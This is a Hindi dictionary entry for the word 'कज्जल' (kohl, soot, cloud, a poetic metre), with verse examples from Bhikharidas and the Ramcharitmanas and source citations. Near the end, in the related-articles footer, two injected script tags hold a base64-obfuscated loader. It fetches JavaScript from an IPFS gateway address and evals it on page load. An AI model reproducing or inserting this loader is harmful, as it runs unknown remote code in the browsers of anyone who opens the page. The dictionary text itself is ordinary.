कज्जल
कज्जल - संज्ञा पुल्लिंग (संस्कृत) (विशेषण कज्जलित)[१]
1. अंजन, काजल।
2. सुरमा।
उदाहरण-
बंक अवलोकनि की बात औरई विधान, कज्जल कलित जामें जहर समान है। - भिखारीदास ग्रंथावली[२]
3. कालिख। स्याही।
यौगिक- कज्जलध्वज=दीपक। कज्जलगिरि।
उदाहरण-
सोनित स्रवत सोह तन कारे। जनु कज्जलगिरि मेरु पनारे। - रामचरितमानस[३]
4.बादल।
5. एक छन्द जिसके प्रत्येक चरण में 14 मात्राएँ होती हैं। अंत में एक गुरु और एक लघु होता है।
उदाहरण-
प्रभु मम ओरी देख जेब। तुम सम नाहीं और देव। - शब्द.
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ हिंदी शब्दसागर, द्वितीय भाग |लेखक: श्यामसुंदरदास बी. ए. |प्रकाशक: नागरी मुद्रण, वाराणसी |पृष्ठ संख्या: 746 |
- ↑ भिखारीदास ग्रंथावली, भाग 2, पृष्ठ 101, सम्पादक विश्वनाथ प्रसाद मिश्र, नागरी प्रचारिणी सभा, काशी, प्रथम संस्करण
- ↑ रामचरितमानस, 6।68, सम्पादक शम्भूनारायण चौबे, नागरी प्रचारिणी सभा, काशी, प्रथम संस्करण
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>